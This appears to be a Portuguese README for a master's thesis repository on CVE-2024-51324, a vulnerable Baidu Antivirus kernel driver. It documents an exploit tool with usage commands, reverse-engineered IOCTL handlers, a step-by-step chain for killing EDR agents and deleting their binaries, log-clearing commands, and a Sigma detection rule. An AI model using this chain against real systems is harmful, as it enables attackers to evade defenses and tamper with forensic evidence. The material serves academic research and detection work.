
Dissertação de Mestrado sobre CVE-2024-51324 (BYOVD). Exploit avançado com 4 modos operacionais (SCANNER, LOADER, KILLER, CLEANUP), verificação de driver SHA-256 e documentação acadêmica completa. Peça de portfólio que cobre segurança de drivers do kernel do Windows, engenharia reversa de IOCTL e exploração Bring Your Own Vulnerable Driver.
Bring Your Own Vulnerable Driver (BYOVD) — Baidu Antivirus
BdApiUtil64.sys
Três primitivas de kernel não documentadas: término de processo, exclusão arbitrária de arquivos e exclusão de arquivo em uso com bypass deSectionObjectPointer
Afetado: Baidu Antivirus v5.2.3.116083 (BdApiUtil64.sys)
Carregando o driver vulnerável no kernel (modo LOADER)
Este repositório contém minha pesquisa de Tese de Mestrado sobre CVE-2024-51324, uma
vulnerabilidade Bring Your Own Vulnerable Driver (BYOVD) no driver de kernel
BdApiUtil64.sys do Baidu Antivirus.
O registro NVD atribui uma pontuação base CVSS v3.1 de 3.8 (Baixa) com vetor
AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N e CWE-269 (Gerenciamento de Privilégio Impropriamente Controlado).
Esta pontuação não reflete a realidade de ataque local documentada nesta pesquisa: uma vez
que o driver é carregado por um administrador (uma etapa única realizável via engenharia
social ou qualquer escalação de privilégio local), qualquer processo subsequente — incluindo
processos em sandbox ou de usuário padrão — pode enviar IOCTLs sem verificações de privilégio
adicionais. Uma pontuação CVSS v3.1 avaliada pelo pesquisador de 7.8 (Alta) com vetor
AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H captura com mais precisão a realidade de exploração
pós-carregamento. Ambas as pontuações são discutidas na documentação técnica.
O driver cria o objeto de dispositivo \Device\BdApiUtil com
SecurityDescriptor = NULL, permitindo que qualquer processo, independentemente do nível de
integridade, abra um handle e envie IOCTLs. A análise estática via Ghidra 11.0.3 revela que o
mecanismo interno é mais significativo do que documentado anteriormente: o driver usa
PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode) em vez de
ZwOpenProcess, ignorando SeAccessCheck completamente. Três primitivas IOCTL foram
completamente caracterizadas, duas das quais não têm documentação pública prévia.
| Aspecto | Descrição |
|---|---|
| Correção técnica | ZwOpenProcess está ausente da tabela de importação; o mecanismo real é PsLookupProcessByProcessId + ObOpenObjectByPointer(KernelMode), que ignora SeAccessCheck incondicionalmente |
| Três primitivas documentadas | Término de processo (0x800024B4), exclusão arbitrária de arquivos (0x80002648) e exclusão de arquivo em uso com bypass de SectionObjectPointer (0x8000264C) — as duas últimas não têm documentação pública prévia |
| Quatro modos de operação | LOADER, KILLER, SCANNER e CLEANUP — gerenciamento completo do ciclo de vida |
| Verificação SHA-256 | Hash do driver verificado antes de qualquer tentativa de carregamento |
| Teste empírico de PPL | 10 tentativas por categoria de processo confirmando PPL como a única mitigação em tempo de execução |
| Análise forense | Event ID 7045 persistente pós-limpeza; Event ID 1102 como artefato autoincriminatório de limpeza de log |
| Regras de detecção | Regra Sigma e configuração do Sysmon (Event ID 6 por hash + Event ID 13 por chave de registro) |
| Reavaliação CVSS | Discrepância documentada entre a pontuação oficial do NVD (3.8 Baixa) e a gravidade de exploração local avaliada pelo pesquisador (7.8 Alta) |
CVE-2024-51324/
├── README.md
├── LICENSE
│
├── drivers/
│ └── BdApiUtil64.sys # Driver (não distribuído)
│
├── exploit/
│ ├── exploit-explanation.md
│ └── byovd_killer.py # Exploit principal — 4 modos operacionais
│
└── docs/
├── screenshots/
│ ├── 01-byovd-scan.png
│ ├── 02-byovd-scan-target.png
│ ├── 03-byovd-load.png
│ ├── 04-byovd-load-custom.png
│ ├── 05-kill-name.gif
│ ├── 06-kill-pid.gif
│ ├── 07-kill-limit.gif
│ ├── 08-dry-run.gif
│ └── 09-byovd-cleanup.png
│
└── analysis/
├── 01-root-cause.md
├── 02-driver-analysis.md # RE completa em Ghidra, três primitivas, teste PPL
└── 03-timeline.md
BdApiUtil64.sys (SHA-256: 47EC51B5F0EDE1E70BD66F3F0152F9EB536D534565DBB7FCC3A05F542DBE4428)python exploit/byovd_killer.py --scan
python exploit/byovd_killer.py --scan --target lsass.exe
python exploit/byovd_killer.py --load
python exploit/byovd_killer.py --load --driver C:\path\to\BdApiUtil64.sys
python exploit/byovd_killer.py --load --service-name MyService
python exploit/byovd_killer.py --kill notepad.exe
python exploit/byovd_killer.py --pid 1234
python exploit/byovd_killer.py --kill notepad.exe --max-instances 2
python exploit/byovd_killer.py --kill notepad.exe --dry-run
python exploit/byovd_killer.py --cleanup
python exploit/byovd_killer.py --cleanup --service-name MyService
| Modo | Comando | Privilégios | Descrição |
|---|---|---|---|
| SCANNER | --scan | Qualquer usuário | Informações do sistema e status do driver |
| LOADER | --load | Administrador | Carregar driver via criação de serviço de kernel |
| KILLER | --kill / --pid | Qualquer usuário | Finalizar processos via IOCTL |
| CLEANUP | --cleanup | Administrador | Parar e excluir serviço do driver |









A engenharia reversa do BdApiUtil64.sys via Ghidra 11.0.3 identificou uma superfície de
ataque mais ampla do que qualquer fonte pública anterior documenta:
| IOCTL | Manipulador | Primitiva | Documentação prévia |
|---|---|---|---|
0x800024B4 | FUN_000152b0 | Término de processo | Parcial (mecanismo incorreto) |
0x80002648 | FUN_00013bb0 | Exclusão arbitrária de arquivos | Nenhuma |
0x8000264C | FUN_00013850 | Exclusão de arquivo em uso (bypass SectionObjectPointer) | Nenhuma |
0x800024B4)A cadeia de despacho tem três níveis:
IOCTL 0x800024B4
└─ FUN_00028630 (despachante IRP_MJ_DEVICE_CONTROL)
└─ FUN_00015230 (wrapper: valida código IOCTL e tamanho do buffer = 4 bytes)
└─ FUN_000152b0 (manipulador kill — local da vulnerabilidade)
Manipulador reconstruído (Ghidra):
if ((param_1 != 0) && (param_1 != 4)) {
PsLookupProcessByProcessId(param_1, &local_res10);
ObOpenObjectByPointer(
local_res10,
0x200, // OBJ_KERNEL_HANDLE
0, // PassedAccessState: NULL
0x1fffff, // PROCESS_ALL_ACCESS
0, // ObjectType: NULL
0, // AccessMode: KernelMode ← ignora SeAccessCheck
local_res18
);
ZwTerminateProcess(local_res18[0], 0);
}
Por que KernelMode ignora SeAccessCheck:
Caminho ZwOpenProcess:
NtOpenProcess → ObOpenObjectByName → SeAccessCheck
(verifica DACL, token do chamador, nível de integridade)
pode retornar STATUS_ACCESS_DENIED
Caminho ObOpenObjectByPointer(KernelMode):
SeAccessCheck ← NÃO é invocado
→ Handle PROCESS_ALL_ACCESS concedido incondicionalmente
ZwOpenProcess está ausente da tabela de importação do driver. A descrição baseada em
ZwOpenProcess presente em fontes anteriores é tecnicamente incorreta.
0x80002648)O manipulador FUN_00013bb0 recebe um caminho Unicode, valida
InputBufferLength ≥ 0x208 e delega para FUN_00013c10. O sub-manipulador abre
o arquivo em modo kernel (sem SeAccessCheck no token do chamador) e despacha um
IRP IRP_MJ_SET_INFORMATION com FileInformationClass = 0xD
(FileDispositionInformation), marcando o arquivo para exclusão. Qualquer arquivo acessível
ao kernel pode ser excluído independentemente das permissões NTFS.
0x8000264C)O manipulador FUN_000139d0 acessa FileObject->SectionObjectPointer (offset 0x28
no FILE_OBJECT) e anula temporariamente dois campos antes de despachar o IRP
de exclusão:
plVar1 = FileObject->SectionObjectPointer;
plVar1[2] = 0; // DataSectionObject → NULL
plVar1[0] = 0; // ImageSectionObject → NULL
IofCallDriver(device, irp);
KeWaitForSingleObject(...);
// Restaurar após conclusão
plVar1[2] = DataSectionObject_backup;
plVar1[0] = ImageSectionObject_backup;
IopDeleteFile verifica esses ponteiros antes de honrar FileDispositionInformation.
Ao anulá-los, o manipulador faz o arquivo parecer não mapeado, ignorando a proteção
de arquivo em uso. Esta primitiva pode excluir o binário de um agente EDR em execução
do disco sem primeiro finalizar o processo.
Cadeia completa de eliminação de EDR:
1. Finalizar processo EDR (IOCTL 0x800024B4)
2. Excluir binário EDR no disco (IOCTL 0x8000264C) ← funciona mesmo se mapeado em memória
3. Impedir reinicialização ← executável não existe mais no disco
| Processo | PPL ativo | Finalizável | Causa |
|---|---|---|---|
notepad.exe | Não | ✅ 10/10 | Sem proteção |
regedit.exe | Não | ✅ 10/10 | Sem proteção |
spoolsv.exe | Não | ✅ 9/10 | SCM reinicia em 1 caso |
MsMpEng.exe | Não (sem PPL no ambiente de teste) | ✅ 8/10 | Leve variabilidade de tempo |
lsass.exe | Não (RunAsPPL ausente) | ✅ 6/10 | Variabilidade de estado |
csrss.exe | Sim (PPL incondicional) | ❌ 0/10 | STATUS_ACCESS_DENIED |
PPL (Protected Process Light) é a única mitigação em tempo de execução que resiste
à finalização baseada em ObOpenObjectByPointer(KernelMode) deste driver.
| Presente | Ausente |
|---|---|
PsLookupProcessByProcessId | ZwOpenProcess |
ObOpenObjectByPointer | SeAccessCheck |
ZwTerminateProcess | SePrivilegeCheck |
PsGetCurrentProcess | |
IoGetRequestorProcess |
| Cenário | Alvo | Impacto |
|---|---|---|
| Finalização de EDR/AV | MsMpEng.exe, SentinelAgent.exe | Evasão de defesa |
| Exclusão de binário EDR (em uso) | Executável EDR no disco | Impedir reinicialização após finalização |
| Interrupção de log de auditoria | Serviço EventLog | Adulterar forense |
| Bypass de processo protegido | lsass.exe (sem RunAsPPL) | Facilitador de acesso a credenciais |
| Preparação pré-criptografia de ransomware | Agentes de segurança | Cadeia completa de evasão de defesa |
--cleanup| Artefato | Estado pós-limpeza |
|---|---|
| Serviço no SCM | Removido |
Driver no driverquery | Removido |
| Objeto de dispositivo | Inacessível |
| Chave de registro | Removida |
| Event ID 7045 | Persiste — não pode ser removido por sc delete |
Event ID 7045 é o único artefato que sobrevive a um ciclo de ataque completo com
limpeza. Ele contém nome do serviço, ImagePath (caminho completo do binário), tipo de
serviço e timestamp de criação.
Executar wevtutil cl System para remover o Event ID 7045 gera Event ID 1102
no canal Security, registrando quem limpou o log e quando. Isso torna a adulteração de log
detectável mesmo que o artefato original seja destruído.
| Ação do atacante | Artefato resultante | Canal | Persistência |
|---|---|---|---|
wevtutil cl System | Event ID 7045 deletado | System | — |
wevtutil cl System | Event ID 1102 gerado | Security | Permanente |
title: Ataque BYOVD via BdApiUtil64.sys (CVE-2024-51324)
id: a3f7c2e1-8b4d-4f9a-b6e3-2d1c9f8a7b5e
status: experimental
logsource:
product: windows
service: system
detection:
selection_eventid:
EventID: 7045
selection_driver:
- ServiceName|contains: 'BdApi'
- ImagePath|contains: 'BdApiUtil64.sys'
condition: selection_eventid and selection_driver
level: high
tags:
- attack.defense_evasion
- attack.t1562.001
- attack.privilege_escalation
- attack.t1068
Regra Sigma completa e configuração do Sysmon (Event ID 6 por hash SHA-256 + Event ID 13
por chave de registro) disponíveis em docs/detection/.
| Documento | Descrição |
|---|---|
| Análise de Causa Raiz | Controle de acesso ausente no manipulador IRP_MJ_DEVICE_CONTROL |
| Análise do Driver | RE completa em Ghidra, três primitivas IOCTL, teste PPL, análise da tabela de importação |
| Linha do Tempo CVE | Cronologia de descoberta, divulgação e patch |
Esta pesquisa faz parte da minha Tese de Mestrado em Cibersegurança (UCAM — Campus Internacional de Ciberseguridad), analisando vulnerabilidades N-Day em múltiplos ambientes.
Este CVE representa o vetor Windows kernel driver / BYOVD dentro da tese, demonstrando:
ZwOpenProcess ausente;
mecanismo real é ObOpenObjectByPointer(KernelMode))Palavras-chave: BYOVD · Kernel Driver · IOCTL · Ghidra · Process Termination ·
File Deletion · SectionObjectPointer · ObOpenObjectByPointer · Defense Evasion ·
CVE-2024-51324
Annais Molina (devianntsec) — Estudante de Mestrado em Cibersegurança
Licença MIT — veja LICENSE
Este repositório é fornecido apenas para fins educacionais e de pesquisa em segurança,
como parte de uma Tese de Mestrado acadêmica. Todos os testes foram realizados em máquinas
virtuais isoladas, sem exposição à rede. O driver vulnerável (BdApiUtil64.sys) não é
distribuído neste repositório — ele deve ser obtido de forma independente. Use apenas em sistemas
que você possui ou possui autorização explícita por escrito para testar. O uso não autorizado contra
sistemas é ilegal e pode resultar em processo criminal.